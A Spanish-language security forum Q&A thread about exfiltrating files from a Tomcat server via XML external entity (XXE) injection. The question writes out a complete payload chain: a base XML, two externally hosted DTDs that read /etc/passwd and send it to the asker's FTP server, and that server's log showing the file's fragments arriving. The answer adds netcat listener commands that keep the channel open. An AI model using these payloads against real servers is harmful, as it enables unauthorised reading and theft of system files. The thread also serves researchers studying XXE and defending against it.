Exfiltración a través de FTP utilizando XXE en un servidor Tomcat

1

Estoy intentando extraer datos binarios de un servidor Tomcat que usa SAXParser. Para mi servidor FTP, estoy usando esta fuente . Estoy hospedando dos DTD's en Github Gist. Estos son sus contenidos:

XML base (lo que se envía al servidor):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "https://gist.githubusercontent.com/.../a.dtd">
<a>
<b>&send;</b>
</a>

a.dtd (primera carga útil de DTD):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "https://gist.githubusercontent.com/.../b.dtd">
%dtd;

b.dtd (carga útil final de DTD):

<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://[my server ip]:2121/%file;'>">
%all;

La razón por la que estoy tratando de extraer / etc / passwd es porque estoy tratando de apuntar a un archivo binario, pero cuando eso no funcionó, pensé que empezaría con algo simple. He confirmado que tengo acceso a / etc / passwd (solo lo recuperé como una entidad originalmente).

El servidor FTP funciona bien y me aseguré de que el puerto estuviera abierto. Esta es la salida cuando se ejecuta lo anterior.

[WEB] Starting webserver on 0.0.0.0:8888...
[FTP] Starting FTP server on 0.0.0.0:2121...
[FTP] x has connected
[FTP] Received:
USER anonymous
[FTP] Received:
PASS Java1.8.0_131@
[FTP] > 230 more data please!
[FTP] Received:
TYPE I
[FTP] > 230 more data please!
[FTP] Received:
CWD root:x:0:0:root:
[FTP] > 230 more data please!
[FTP] Received:
CWD root:
[FTP] > 230 more data please!
[FTP] Received:
CWD bin
[FTP] > 230 more data please!
[FTP] Received:
QUIT
[FTP] > 230 more data please!
[FTP] Received:

... (a lot more blank like above)
[FTP] > 230 more data please!
[FTP] Received:

[FTP] > 230 more data please!
[FTP] Client error: [Errno 32] Broken pipe
[FTP] Connection closed with x

Un problema que encontré al responder a la pregunta de Luc es interesante. Básicamente, si los datos tienen barras diagonales, ¿el cliente FTP los interpreta como una carpeta? Aunque no estoy seguro de por qué se detiene. Tal vez tenga que escribir un mecanismo de respuesta adecuado para que, cuando llegue un comando CWD, le dé OK u otra respuesta relacionada.

    
pregunta Rob Gates 08.11.2018 - 15:18
fuente

1 respuesta

0

No estoy seguro de qué está sucediendo exactamente, pero parece que el cliente (su objetivo) está enviando el contenido del archivo al servidor como si contuviera comandos de FTP. ¿Qué pasa si solo escuchas con netcat? O simplemente escuche con nc -lp 2121 (o cualquiera que sea su variante de netcat para los argumentos, iirc algunos quiere nc -l 2121 ), o tal vez el cliente espere una respuesta en cuyo caso usted podría hacer algo como esto:

echo -ne '220 Ok\r\n' | nc -lp 2121

Tenga en cuenta que FTP es un protocolo basado en texto. Los archivos binarios serán problemáticos si el cliente cree que tiene que convertirlos en ASCII para la conexión de control. Inténtalo, pero es posible que ese sea tu próximo obstáculo.

    
respondido por el Luc 08.11.2018 - 16:37
fuente

Lea otras preguntas en las etiquetas